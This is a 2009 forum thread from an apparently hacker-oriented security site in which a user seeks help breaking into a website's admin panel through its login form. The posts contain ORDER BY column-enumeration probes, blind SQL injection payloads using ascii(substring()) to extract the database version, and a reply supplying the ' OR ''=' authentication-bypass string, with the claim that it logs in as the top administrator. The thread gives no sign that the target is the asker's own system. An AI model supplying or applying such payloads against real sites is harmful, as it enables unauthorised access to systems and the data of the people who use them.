 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| |
|
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9145
 People Online:
 Visitors: 643
 Members: 0
 Total: 643
|
|
|
|
|
|
PacketStorm News |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Bypass SQL injection , please? |
|
 Posted: Sat May 09, 2009 7:43 pm |
 |
|
| kr0k0 |
| Advanced user |
 |
| |
| Joined: Jan 26, 2008 |
| Posts: 128 |
|
|
|
 |
|
 |
|
Hi,
When i put this , look what I got
USER : ' ORDER by 15/*
PASS : n/a
| Code: | | MySQL Error : 1054:Unknown column '15' in 'order clause' |
and When i put this , look also what I got ,
USER : ' ORDER by 14/*
PASS : n/a
| Code: | incorrect username or password invalid.
|
plz can any body help me , how I can bypass it , to enter directly via admin CP whith 'OR' or 'AND'
Thankz in advanced . . . |
|
|
|
|
|
Re: Bypass SQL injection , please? |
|
| Posted: Sun May 10, 2009 5:53 pm |
|
|
| kr0k0 |
| Advanced user |
|
| |
| Joined: Jan 26, 2008 |
| Posts: 128 |
|
|
|
|
|
|
|
Its a blind , I have try to use the attack injection , But it doesn't realy working for me , I need you waraxe or someone other can help me about this , It make me crazy . . .
Its right , But I have a problem . . .
USER : 1'/**/AND/**/ascii(substring((SELECT/**/concat(@@version)/**/limit/**/0,1),1,1))>53/*
PASS : n/a
| Code: | | incorrect username or password invalid. |
And also if I change the number "53" > 1,2,3 . . . .
If i change the column like that , I got an error . . .
USER : 1'/**/AND/**/ascii(substring((SELECT/**/concat(xxxxxxxx)/**/limit/**/0,1),1,1))>53/*
PASS : n/a
| Code: |
MySQL Error : 1054:Unknown column 'xxxxxxxx' in 'field list' |
so? plz . . .  |
|
|
|
|
|
|
|
|
| Posted: Sun May 10, 2009 7:19 pm |
|
|
| tehhunter |
| Valuable expert |
|
| |
| Joined: Nov 19, 2008 |
| Posts: 261 |
|
|
|
|
|
|
|
Try this:
User: ' OR ''='
Pass: ' OR ''='
Its an old, old exploit, but one that doesn't look to be blocked for you. It should log you on as the first account in the database, using the highest level administrator. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
